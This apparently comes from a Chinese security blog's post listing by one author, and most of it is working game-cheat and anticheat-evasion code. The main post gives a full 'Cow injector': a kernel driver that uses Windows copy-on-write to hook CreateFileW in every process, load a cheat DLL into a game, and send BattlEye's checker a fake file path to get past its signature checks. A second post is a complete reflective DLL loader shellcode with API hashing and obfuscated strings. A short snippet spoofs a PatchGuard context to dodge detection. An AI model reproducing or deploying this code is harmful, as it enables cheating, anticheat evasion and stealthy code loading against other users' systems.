游戏安全C/C++汇编Shellcode [2021]检测PG是否被关闭的方法(EAC、BE、Vanguard) 这个方法只适用于检测静态patch 当pg context不存在的时候,你只需抛出异常 ```cpp PUBLIC InvokePatchGuardRoutine InvokePatchGuardRoutine PROC int 20h ret InvokePatchGuardRoutine ENDP ```  这个test就会抛出异常,是不是很神奇? 绕过 ```cpp PVOID PgContext_t = ExAllocatePoolWithTag(NonPagedPool, 0x23000, 'CcBc'); *reinterpret_cast(reinterpret_cast(PgContext_t) + 0x994) |= 0x100000; *PgContext = PgContext_t; ``` 阅读全文 2021-01-09 huoji 0 条评论
[2021]windows10 patchguard 分析研究(版本:1803) [Tetrane_PatchGuard_Analysis_RS4_v1.00.pdf](https://key08.com/usr/uploads/2021/01/3960607802.pdf) 阅读全文 2021-01-09 huoji 0 条评论
二进制安全游戏安全C/C++汇编Shellcode [2021]Faceit反作弊是怎么关闭csgo从而进行反调试的 当我试图将faceit-ingame-32.dll直接注入csgo来分析所做的工作时,我发现它将关闭游戏。 阅读全文 2021-01-04 huoji 0 条评论
二进制安全游戏安全C/C++汇编 [2021]Cow注入器 -通过滥用COW机制进行全局注入 key08原创 2021年各位新年好 首先的首先 2021年各位新年好 ## 0x0 我们要实现什么 1 启动时无驱动程序运行 3.当我们完成注入时,VAD中没有 private 标志 4.不走manual map 直接绕过minifilter加载dll **它将最小化内部检测的检测向量** ## 0x1 背景 关于COW: 系统中存在一个叫做cow的机制 国外大神@can1357的perfect injecter帖子说的很清楚了: https://blog.can.ac/2018/05/02/making-the-perfect-injector-abusing-windows-address-sanitization-and-cow/ > CoW是操作系统用来节省内存的一种技术,它使进程共享某些物理内存区域,直到它们真正被编辑。 我们知道这一点ntdll.dll为每个进程加载,并且它的代码(.text)区域很少被修改(如果有的话),那么为什么要为它一次又一次地为数百个进程分配物理内存呢?这正是现代操作系统使用CoW技术的原因。 实现非常简单: 当一个PE文件被映射时,如果它也被映射到其他进程,并且它的VA在当前进程上也是空闲的,那么只需复制PFN并将标志设置为只读。 当由于指令试图在页上写入而发生页错误时,请分配新的物理内存,设置PTE的PFN并删除只读标志。 综上所述:当我们更改了cow标志时,物理内存将比更改应用于全局,直到重新启动系统  关于反作弊如何阻止dll: 大多数反游戏(除了EAC)使用minifilter来过滤游戏加载文件。当一个PE文件被游戏访问时,minifilter回调将被激活, 然后反作弊驱动程序将文件路径和信息反馈给R3 anticheat(EasyAntiCheat.exe以及BEService.exe)R3反作弊会调用CreateFile读取要访问的PE文件并检查签名,如果不是白名单签名,它将被阻止加载. ## 0x2 实现COW注入器 首先定位cow物理内存: ```cpp for (uintptr_t i = 8; i < 100000000; i = i + 4) { PEPROCESS _eprocess = NULL; NTSTATUS nt_status = PsLookupProcessByProcessId((HANDLE)i, &_eprocess); if (NT_SUCCESS(nt_status) && _eprocess != NULL) { ObDereferenceObject(_eprocess); bool is_x64_process = PsGetProcessWow64Process(_eprocess) == NULL; if (is_x64_process) { //get x64 prcess //........ } } } ``` 获取cow模块地址和空间 ```cpp bool get_moudle_base(PEPROCESS process, moudle_info* kernel32, moudle_info* ntdll, moudle_info* kernelbase) { PPEB peb = PsGetProcessPeb(process); bool result = false; if (peb == NULL) return result; DebugPrintA("process peb: %p \n", peb); //PEB + 0x18 = PEB.Ldr auto peb_ldr = *(PDWORD64)((PUCHAR)peb + 0x18); //Pebldr + 0x10 = InLoadOrderModuleList PLIST_ENTRY module_list_head = (PLIST_ENTRY)((PUCHAR)peb_ldr + 0x10); PLIST_ENTRY moudle = module_list_head->Flink; /* win7: kernel32.dll win10: KERNEL32.DLL */ wchar_t moudle_list[][15] = { {L"kernel32.dll"}, {L"ntdll.dll"}, {L"kernelbase.dll"}, }; while (module_list_head != moudle) { PLDR_DATA_TABLE_ENTRY info = (PLDR_DATA_TABLE_ENTRY)moudle; UNICODE_STRING str_moudle_name; for (size_t i = 0; i < sizeof(moudle_list); i++) { RtlInitUnicodeString(&str_moudle_name, moudle_list[i]); if (BlackBoneSafeSearchString(&info->BaseDllName, &str_moudle_name, true) != -1) { DebugPrintA("MoudleBase %p Size %p Name %wZ\n", info->DllBase, info->SizeOfImages, info->BaseDllName); if (i == 0) { kernel32->bsae = (uintptr_t)info->DllBase; kernel32->size = (uintptr_t)info->SizeOfImages; } if (i == 1) { ntdll->bsae = (uintptr_t)info->DllBase; ntdll->size = (uintptr_t)info->SizeOfImages; } if (i == 2) { kernelbase->bsae = (uintptr_t)info->DllBase; kernelbase->size = (uintptr_t)info->SizeOfImages; } break; } } if (kernel32->bsae && ntdll->bsae && kernelbase->bsae) break; moudle = moudle->Flink; } result = kernel32->bsae != NULL && ntdll->bsae != NULL && kernelbase->bsae != NULL; DebugPrintA("kernel32->bsae %p sizeof:%p ntdll->bsae %p kernelbase->bsae %p result: %d \n", kernel32->bsae, kernel32->size, ntdll->bsae, kernelbase->bsae, result); return result; } ``` 现在我们有了kernel32.dll、kernelbase.dll、ntdll.dll地址。当我们改变内存时,它将通过cow机制实现全局应用 ## 0x3. 写shellcode ```cpp HANDLE __stdcall HookCreateFileW(LPCWSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile) { CreateFileWT oCreateFileW = (CreateFileWT)0x1234567812345678; wcsstrAt oWcsstr = (wcsstrAt)0x1234567891ABCDEF; GetModuleFileNameWT oGetModuleFileNameW = (GetModuleFileNameWT)0x1337567891ABCDEF; LoadLibraryWT oLoadLibraryW = (LoadLibraryWT)0x1234567891AB1337; wchar_t CheatPath[] = { 'C',':','\\','h','u','o','j','i','.','d','l','l','\0' }; wchar_t NtdllName[] = { 'C',':','\\','n','t','d','l','l','.','d','l','l','\0' }; //RainbowSix.exe wchar_t GameName[] = { 'C','o','n','a','n','S','a','n','d','b','o','x','.','e','x','e','\0' }; //BEService.exe wchar_t AntiCheatName[] = { 'B','E','S','e','r','v','i','c','e','.','e','x','e','\0' }; wchar_t ExeFile[MAX_PATH]; oGetModuleFileNameW(NULL, ExeFile, MAX_PATH); if (oWcsstr(ExeFile, GameName) != NULL) { oLoadLibraryW(CheatPath); } if (oWcsstr(ExeFile, AntiCheatName) != NULL) { return oCreateFileW(oWcsstr(lpFileName, CheatPath) != NULL ? NtdllName : lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); } return oCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); } int __stdcall ShellCodeEnd() { return 0x1337; } ``` 我写一个简单的createfileW hook,游戏开始时候会调用createfileW,此时我们会loadlibrary我们的dll 之后R3反作弊也会调用createfileW去检查文件数字签名,这个时候我们把createfilew读的文件换成ntdll.dll 你可以看到这里面有一些是 0x1234567812345678 这种无效地址,这种是给接下来定位用的我不想滥用像perfect inject这样的windows地址限制机制,所以我们需要找到一个可用内存(VAD中需要执行标志),并使用它保存shellcode: ```cpp uintptr_t get_free_speace(uintptr_t base, size_t size, size_t need_size) { size_t return_length; for (uintptr_t address = (uintptr_t)base; address <= (uintptr_t)base + size; address += sizeof(uintptr_t)) { __try { ProbeForRead((void*)address, need_size, 0x1); if (*(uintptr_t*)address == 0x00 || *(uintptr_t*)address == 0x90) { MEMORY_BASIC_INFORMATION memory_information = { 0 }; NTSTATUS status = ZwQueryVirtualMemory(NtCurrentProcess(), (PVOID)address, (MEMORY_INFORMATION_CLASS)0, &memory_information, need_size, &return_length); if (NT_SUCCESS(status)) { if ((memory_information.Protect == PAGE_EXECUTE || memory_information.Protect == PAGE_EXECUTE_READ || memory_information.Protect == PAGE_EXECUTE_READWRITE || memory_information.Protect == PAGE_EXECUTE_WRITECOPY) == false) { continue; } } DebugPrintA("address : %p \n", address); uintptr_t count = 0; bool is_good = true; uintptr_t max_count = 0; for (; count < need_size && is_good; count += sizeof(uintptr_t)) { max_count++; auto check_ptr = (uintptr_t*)((PUCHAR)address + count); if (*check_ptr != 0x0 && *check_ptr != 0x90) { is_good = false; break; } } if (is_good) { DebugPrintA("location Cow virtual address : %p \n", address); return address; } } } __except (EXCEPTION_EXECUTE_HANDLER) { continue; } } return NULL; } ``` 如果一切顺利,我们可以得到一个空闲内存,可以容纳我们的shellcode和cow标志模块地址。 请注意,我尝试将外壳代码直接放入只读地址(因为它更大)并对其进行修改PTE.noexcute=0尝试使页可执行,但是发现没软用。因为似乎即使物理地址相同,PTE属性也不同 现在让我们获取导出函数以满足hook的需要:然后,最重要的是,自己手写hook: 我们需要手写hook,这是非常痛苦的 在win7中kernel32.createfileW是一个函数,但在win10中它是一个jmp origin_to_kernelbase.dll 这个代码困扰了我很长时间,直到我发现两个系统之间的差异。 用一张图片来解释我们要钩什么:  代码: ```cpp /* Copy shellcode to freespeace */ _memcpy((PVOID)hook_function, (PVOID)HookCode, size_of_shellcode); /* hook */ BYTE _mov_rax[] = { 0x48, 0xB8 // mov rax, [xxx] }; BYTE _jmp_rax[] = { 0xFF, 0xE0, // jmp rax }; BYTE shell_code_jmp_back[] = { 0xCC, 0xCC, //mov rax 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //void* 0xCC, 0xCC, //jmp rax }; uintptr_t function_offset = kernelbase_CreateFileW; //backup _memcpy(shell_code_jmp_back, (void*)function_offset, sizeof(shell_code_jmp_back)); /* hook_function -> origin_code */ function_offset = hook_function + size_of_shellcode; uintptr_t jmp_back = function_offset; _memcpy((void*)function_offset, shell_code_jmp_back, sizeof(shell_code_jmp_back)); function_offset += sizeof(shell_code_jmp_back); /* origin_code -> jmp CreateFileW */ uintptr_t jmp_offset = kernelbase_CreateFileW + sizeof(_mov_rax) + sizeof(_jmp_rax) + sizeof(void*); _memcpy((void*)function_offset, _mov_rax, sizeof(_mov_rax)); function_offset += sizeof(_mov_rax); _memcpy((void*)function_offset, &jmp_offset, sizeof(void*)); function_offset += sizeof(void*); _memcpy((void*)function_offset, _jmp_rax, sizeof(_jmp_rax)); ``` 然后我们将在shellcode中找到地址并传递正确的函数地址(这就是为什么我们需要写 0x123456789地址): ```cpp for (int i = 0; i < size_of_shellcode; i++) { auto write_ptr = (uintptr_t*)((PUCHAR)hook_function + i); if (*write_ptr == 0x1234567812345678) { _memcpy((void*)write_ptr, (void*)&jmp_back, sizeof(uintptr_t)); DebugPrintA("[jmp_back]Fix KernelBase.CreateFileW %p \n", jmp_back); } if (*write_ptr == 0x1234567891ABCDEF) { _memcpy((void*)write_ptr, (void*)&ntdll_wcsstr, sizeof(uintptr_t)); DebugPrintA("Fix Ntdll.wcsstr %p \n", ntdll_wcsstr); } if (*write_ptr == 0x1337567891ABCDEF) { _memcpy((void*)write_ptr, (void*)&kernelbase_GetModuleFileNameW, sizeof(uintptr_t)); DebugPrintA("Fix KernelBase.GetModuleFileNameW %p \n", kernelbase_GetModuleFileNameW); } if (*write_ptr == 0x1234567891AB1337) { _memcpy((void*)write_ptr, (void*)&kernel32_loadlibrary, sizeof(uintptr_t)); DebugPrintA("Fix kernel32.loadlibrary %p \n", kernel32_loadlibrary); } } ``` 最后 hook: ```cpp /* CreateFileW -> hook_function */ function_offset = kernelbase_CreateFileW; _memcpy((void*)function_offset, _mov_rax, sizeof(_mov_rax)); function_offset += sizeof(_mov_rax); _memcpy((void*)function_offset, &hook_function, sizeof(void*)); function_offset += sizeof(void*); _memcpy((void*)function_offset, _jmp_rax, sizeof(_jmp_rax)); DebugPrintA("success hooked at: %p \n", hook_function); ``` 总结一下: 0 手写shellcode 1 加载我们的驱动程序 2 获取kernelbase ntdll kernel32地址 3 通过遍历pe头查找导出函数 4 找到一个空间来保存我们的shellcode 5 重新定位shellcode函数地址 6 钩子Kernelbase.CreatefileW文件 7 当游戏开始时,shellcode调用并加载我们的外挂dll,当反作弊调用createfilew时,给出一个假的ntdll路径 测试:   源码github https://github.com/huoji120/CowInjecter 注意事项: 可以看出,滥用cow机制不仅可以实现注入,而且具有很大的潜力,包括不局限于绕过硬件禁止,修改签名检查功能,甚至劫持句柄, 你想怎么搞就怎么搞 请注意: 你不能只是复制一个函数作为shellcode,gcc会破shellcode,所以你需要像这样在R3中生成shellcode并把它放到驱动程序中: ```cpp DWORD64 FunctionShellCodeSize = CALCSIZE(HookCreateFileW, ShellCodeEnd); printf("%08X \n", FunctionShellCodeSize); BYTE* p = (BYTE*)&HookCreateFileW; for (size_t i = 0; i < FunctionShellCodeSize; i++) { printf("0x%0.2X,", p[i]); } system("pause"); ``` 可能的检测位置: 1. BE check game hook(impossible,becasue BE shellcode will rehook kernelbase.createfileW)   2. BEserver.exe check createfileW hook(still can bypass easy) 3. PhysicalMemory -> file disk check(possible) 感谢: credits: @can1357 -inspired me @DarthTon -blackbone kernel string search 阅读全文 2021-01-01 huoji 0 条评论
二进制安全游戏安全渗透复现汇编Shellcode [2020]自定位+内存加载shellcode 可用于驱动+R3通用 用来干什么懂的都懂 ```cpp #define HUOJI_POOL_TAG 'huoJ' #define CALCSIZE(n,f) (ULONG_PTR)f - (ULONG_PTR)n #define PAGE_ALIGN(Va) ((PVOID)((ULONG_PTR)(Va) & ~(PAGE_SIZE - 1))) typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); typedef BOOL(WINAPI* ReadFileT)(HANDLE, LPVOID, DWORD, LPDWORD, PVOID); typedef HANDLE(WINAPI* CreateFileAT)(LPCSTR, DWORD, DWORD, PVOID, DWORD, DWORD, HANDLE); typedef DWORD(WINAPI* GetFileSizeT)(HANDLE, LPDWORD); typedef BOOL(WINAPI* CloseHandleT)(HANDLE); #define KERNEL32DLL_HASH 0x6A4ABC5B #define NTDLLDLL_HASH 0x3CFA685D #define LOADLIBRARYA_HASH 0xEC0E4E8E #define GETPROCADDRESS_HASH 0x7C0DFCAA #define VIRTUALALLOC_HASH 0x91AFCA54 #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 #define HASH_KEY 13 #define DLL_PROCESS_ATTACH 1 #define DLL_THREAD_ATTACH 2 #define DLL_THREAD_DETACH 3 #define DLL_PROCESS_DETACH 0 typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); #ifndef PXE_BASE #define PXE_BASE 0xFFFFF6FB7DBED000UI64 #endif #ifndef PXE_SELFMAP #define PXE_SELFMAP 0xFFFFF6FB7DBEDF68UI64 #endif #ifndef PPE_BASE #define PPE_BASE 0xFFFFF6FB7DA00000UI64 #endif #ifndef PDE_BASE #define PDE_BASE 0xFFFFF6FB40000000UI64 #endif #ifndef PTE_BASE #define PTE_BASE 0xFFFFF68000000000UI64 #endif typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImages; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { struct { ULONG TimeDateStamp; }; struct { PVOID LoadedImports; }; }; }LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; typedef struct { WORD offset : 12; WORD type : 4; } IMAGE_RELOC, * PIMAGE_RELOC; VOID WINAPI RemoteLoadStart() { LOADLIBRARYA pLoadLibraryA = NULL; GETPROCADDRESS pGetProcAddress = NULL; VIRTUALALLOC pVirtualAlloc = NULL; NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; ReadFileT pReadFile = NULL; CreateFileAT pCreateFile = NULL; GetFileSizeT pGetFileSize = NULL; CloseHandleT pCloseHandle = NULL; USHORT usCounter; ULONG_PTR uiBaseAddress; ULONG_PTR uiAddressArray; ULONG_PTR uiNameArray; ULONG_PTR uiExportDir; ULONG_PTR uiNameOrdinals; DWORD dwHashValue; ULONG_PTR uiHeaderValue; ULONG_PTR uiValueA; ULONG_PTR uiValueB; ULONG_PTR uiValueC; ULONG_PTR uiValueD; ULONG_PTR uiValueE; uiBaseAddress = __readgsqword(0x60); uiBaseAddress = *(PDWORD64)((PUCHAR)uiBaseAddress + 0x18); uiValueA = (ULONG_PTR)(*(PLIST_ENTRY)((PUCHAR)uiBaseAddress + 0x10)).Flink; ULONG_PTR Kernel32Base, NTDllBase; while (uiValueA) { uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Buffer; usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; uiValueC = 0; do { uiValueC = _rotr((DWORD)uiValueC, HASH_KEY); if (*((BYTE*)uiValueB) >= 'a') uiValueC += *((BYTE*)uiValueB) - 0x20; else uiValueC += *((BYTE*)uiValueB); uiValueB++; } while (--usCounter); if ((DWORD)uiValueC == KERNEL32DLL_HASH) { uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; Kernel32Base = uiBaseAddress; uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); usCounter = 3; while (usCounter > 0) { char* c = (char*)(uiBaseAddress + DEREF_32(uiNameArray)); register DWORD h = 0; do { h = _rotr(h, HASH_KEY); h += *c; } while (*++c); dwHashValue = h; if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) { uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); if (dwHashValue == LOADLIBRARYA_HASH) pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); else if (dwHashValue == GETPROCADDRESS_HASH) pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); else if (dwHashValue == VIRTUALALLOC_HASH) pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); usCounter--; } uiNameArray += sizeof(DWORD); uiNameOrdinals += sizeof(WORD); } } else if ((DWORD)uiValueC == NTDLLDLL_HASH) { uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; NTDllBase = uiBaseAddress; uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); usCounter = 1; while (usCounter > 0) { char* c = (char*)(uiBaseAddress + DEREF_32(uiNameArray)); register DWORD h = 0; do { h = _rotr(h, HASH_KEY); h += *c; } while (*++c); dwHashValue = h; if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) { uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); usCounter--; } uiNameArray += sizeof(DWORD); uiNameOrdinals += sizeof(WORD); } } if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) break; uiValueA = DEREF(uiValueA); } /* 加载shellcode */ PVOID dwStrings = pVirtualAlloc(NULL, 12, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); *(DWORD64*)((PCHAR)dwStrings + 0x0) = 0x64616552; *(DWORD64*)((PCHAR)dwStrings + 0X4) = 0x656c6946; pReadFile = (ReadFileT)pGetProcAddress((HMODULE)Kernel32Base, (LPCSTR)dwStrings); *(DWORD64*)((PCHAR)dwStrings + 0x0) = 0x61657243; *(DWORD64*)((PCHAR)dwStrings + 0X4) = 0x69466574; *(DWORD64*)((PCHAR)dwStrings + 0X8) = 0x41656c; pCreateFile = (CreateFileAT)pGetProcAddress((HMODULE)Kernel32Base, (LPCSTR)dwStrings); *(DWORD64*)((PCHAR)dwStrings + 0x0) = 0x46746547; *(DWORD64*)((PCHAR)dwStrings + 0X4) = 0x53656c69; *(DWORD64*)((PCHAR)dwStrings + 0X8) = 0x657a69; pGetFileSize = (GetFileSizeT)pGetProcAddress((HMODULE)Kernel32Base, (LPCSTR)dwStrings); *(DWORD64*)((PCHAR)dwStrings + 0x0) = 0x736f6c43; *(DWORD64*)((PCHAR)dwStrings + 0X4) = 0x6e614865; *(DWORD64*)((PCHAR)dwStrings + 0X8) = 0x656c64; pCloseHandle = (CloseHandleT)pGetProcAddress((HMODULE)Kernel32Base, (LPCSTR)dwStrings); /* C:\\test.dll 433a2f74 6573742e 646c6c change your self */ *(DWORD64*)((PCHAR)dwStrings + 0x0) = 0x742f3a43; *(DWORD64*)((PCHAR)dwStrings + 0X4) = 0x2e747365; *(DWORD64*)((PCHAR)dwStrings + 0X8) = 0x6c6c64; HANDLE hFile = pCreateFile((LPCSTR)dwStrings, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 3, 0, NULL); DWORD mSize = pGetFileSize(hFile, NULL); ULONG_PTR uiLibraryAddress = (ULONG_PTR)pVirtualAlloc(NULL, mSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); pReadFile(hFile, (LPVOID)uiLibraryAddress, mSize, NULL, NULL); pCloseHandle(hFile); uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; while (uiValueA--) *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while (uiValueE--) { uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; while (uiValueD--) *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; uiValueA += sizeof(IMAGE_SECTION_HEADER); } uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) { uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); while (DEREF(uiValueA)) { if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) { uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); } else { uiValueB = (uiBaseAddress + DEREF(uiValueA)); DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); } uiValueA += sizeof(ULONG_PTR); if (uiValueD) uiValueD += sizeof(ULONG_PTR); } uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); } uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) { uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) { uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); while (uiValueB--) { if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); uiValueD += sizeof(IMAGE_RELOC); } uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } } uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); pNtFlushInstructionCache((HANDLE)-1, NULL, 0); ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); } int RemoteLoadEnd() { return 0x77132; } ``` 阅读全文 2020-12-27 huoji 0 条评论
phppython渗透案例web安全javaJavaScript二进制安全无线安全csshtml游戏安全渗透复现C/C++一线开发易语言汇编Shellcode 《网络安全从浅入深百科全书》信息篇 word版本 ## 注意:下面的文字版主要目的是SEO 排版并不好看 建议看word版本: word版本(推荐阅读): [《网络安全从浅入深百科全书》信息篇.docx](https://key08.com/usr/uploads/2020/12/4020023684.docx) word在线阅读,无需下载连接直接接阅读: https://docs.qq.com/doc/DWndvTUh5YUp4UGV2?pub=1&dver=2.1.0 文字版: 主要为seo 排版并不好看: 阅读全文 2020-12-21 huoji 0 条评论
